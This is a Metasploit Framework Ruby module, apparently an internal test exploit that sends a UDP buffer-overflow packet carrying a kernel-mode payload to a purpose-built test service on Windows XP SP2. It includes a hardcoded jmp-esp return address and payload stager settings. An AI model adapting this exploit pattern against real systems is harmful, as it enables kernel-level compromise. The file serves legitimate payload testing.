93 lines
1.8 KiB
Ruby
93 lines
1.8 KiB
Ruby
##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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module Exploits
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module Test
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#
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# This is a test exploit for testing kernel-mode payloads.
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#
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class Kernel < Msf::Exploit::Remote
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include Exploit::Remote::Udp
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include Exploit::KernelMode
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internal Kernel-mode Test Exploit',
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'Description' =>
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"This module tests the exploitation of a kernel-mode test service.",
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'Author' => 'skape',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'Arch' => 'x86',
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'Payload' =>
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{
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'Space' => 1000,
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'MaxNops' => 0,
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'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
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'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500
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},
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'Targets' =>
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[
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[
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'Windows XP SP2',
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{
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'Ret' => 0x80502d7f, # jmp esp
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'Platform' => 'win',
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'Payload' =>
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{
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'ExtendedOptions' =>
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{
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'Stager' => 'sud_syscall_hook',
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'Recovery' => 'spin'
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}
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}
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}
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],
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],
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'DefaultTarget' => 0))
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end
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def check
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return Exploit::CheckCode::Vulnerable
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end
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def exploit
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connect_udp
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print_status("Sending #{payload.encoded.length} byte payload...")
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buf =
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rand_text_alphanumeric(260) +
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"\xbe\x7f\x00\x00" +
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rand_text_alphanumeric(28) +
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[target.ret].pack('V') +
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rand_text_alphanumeric(8) +
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payload.encoded
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udp_sock.put(buf)
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sleep 2
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disconnect_udp
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end
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end
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end
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end
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end
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